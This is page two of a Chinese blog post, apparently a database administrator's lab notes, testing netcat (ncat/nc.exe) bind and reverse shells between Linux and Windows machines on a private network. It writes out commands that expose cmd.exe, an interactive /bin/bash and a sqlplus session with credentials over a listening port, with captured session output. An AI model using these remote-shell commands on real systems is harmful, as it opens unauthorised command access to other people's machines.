设为首页 加入收藏

TOP

[20230309]nc reverse bash shell or cmd.exe(windows).txt(二)
2023-07-23 13:38:58 】 浏览:79
Tags:20230309 reverse bash shell cmd.exe windows .txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~
--//新的版本作为nmap的一部分替换原来的nc版本.实际的执行程序名是ncat.
$ ls -l /usr/bin/nc /usr/bin/ncat
lrwxrwxrwx. 1 root root      4 2020-11-10 19:39:26 /usr/bin/nc -> ncat
-rwxr-xr-x. 1 root root 380224 2018-01-28 21:04:22 /usr/bin/ncat

--//为了测试方便两台linux机器建立管道文件/tmp/f,不再另外说明.
# mkfifo /tmp/f
# chmod 777 /tmp/f

--//windwos下的nc.exe可以在https://github.com/ph-cwtcwt/IT-tool/tree/代理穿透 下载.并设置好环境变量PATH,可以直接访问.
--//注:我使用杀毒软件将里面nc1.exe给清除了,感觉应该没有问题,因为我在别的机器尝试解压没有问题.

2.测试1:
--//windows的版本支持-e progname选项,连通后可以在其它机器上连接该机器.
--//192.168.98.6    windows
R:\>nc -l -p 1234 -t -e cmd.exe
--//或者
R:\>nc -l -p 1234  -e cmd.exe

--//192.168.100.78  linux
$ nc 192.168.98.6 1234
Microsoft Windows [版本 6.1.7600]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

R:\>dir
dir
 驱动器 R 中的卷是 RAMDISK
 卷的序列号是 0122-14E0

 R:\ 的目录

2023/03/09  08:31    <DIR>          log
2023/03/09  08:30    <DIR>          TEMP
2023/03/09  08:24    <DIR>          VDownload
               1 个文件            859 字节
               3 个目录    738,344,960 可用字节
--//执行命令有一个缺点,会回显执行的命令在执行,而且无法使用上下键选择命令的执行历史在执行.
--//还可以这样操作:
--//192.168.98.6    windows
R:\>nc -l -p 1234 -t -e "sqlplus scott/book@78"

--//192.168.100.78  linux 或者192.168.100.235 linux
$ nc 192.168.98.6 1234
...
SCOTT@78> @ ver1
PORT_STRING                    VERSION        BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx            11.2.0.4.0     Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production

SCOTT@78> host pwd
R:\

3.测试2:
--//反过来呢?我看了一下我的测试机器192.168.100.78,nc版本很低,许多参数没有,选择192.168.100.235测试.
--//192.168.100.235 linux
$ nc -l -p  1234  -e "/bin/bash -i "
--//或者
$ nc -l -p  1234  -t -e "/bin/bash -i "

--//192.168.100.78 linux
$ nc 192.168.100.235 1234
hostname
LIS-DB
ls  -l
total 28
-rw-r--r--. 1 oracle oinstall 2639 Oct 14 10:39 fastlink.sh
-rw-r--r--. 1 oracle oinstall 5725 Nov  7 09:51 oalias.sh
-rw-r--r--. 1 oracle oinstall 5459 Oct 20 09:00 oalias.sh.20221024
-rw-r--r--. 1 oracle oinstall 4551 Oct 14 10:47 oalias.sh.bak
ll

--//执行命令有一个缺点,没有命令行提示符号,命令类似盲打.
--//注: 在windows下我无法实现,不知道原因,先暂时放一下.
--//192.168.98.6    windows
R:\> nc 192.168.100.235 1234
--//命令无效!!挂起!!

4.测试3:
--//也可以把命令反过来使用,效果是一样的.
--//192.168.100.78  linux
$ nc -l 1234

--//192.168.98.6    windows
R:\
首页 上一页 1 2 3 4 下一页 尾页 2/4/4
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇Centos 7 之 双网卡绑定team主备 下一篇Linux进程与线程的基本概念及区别

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目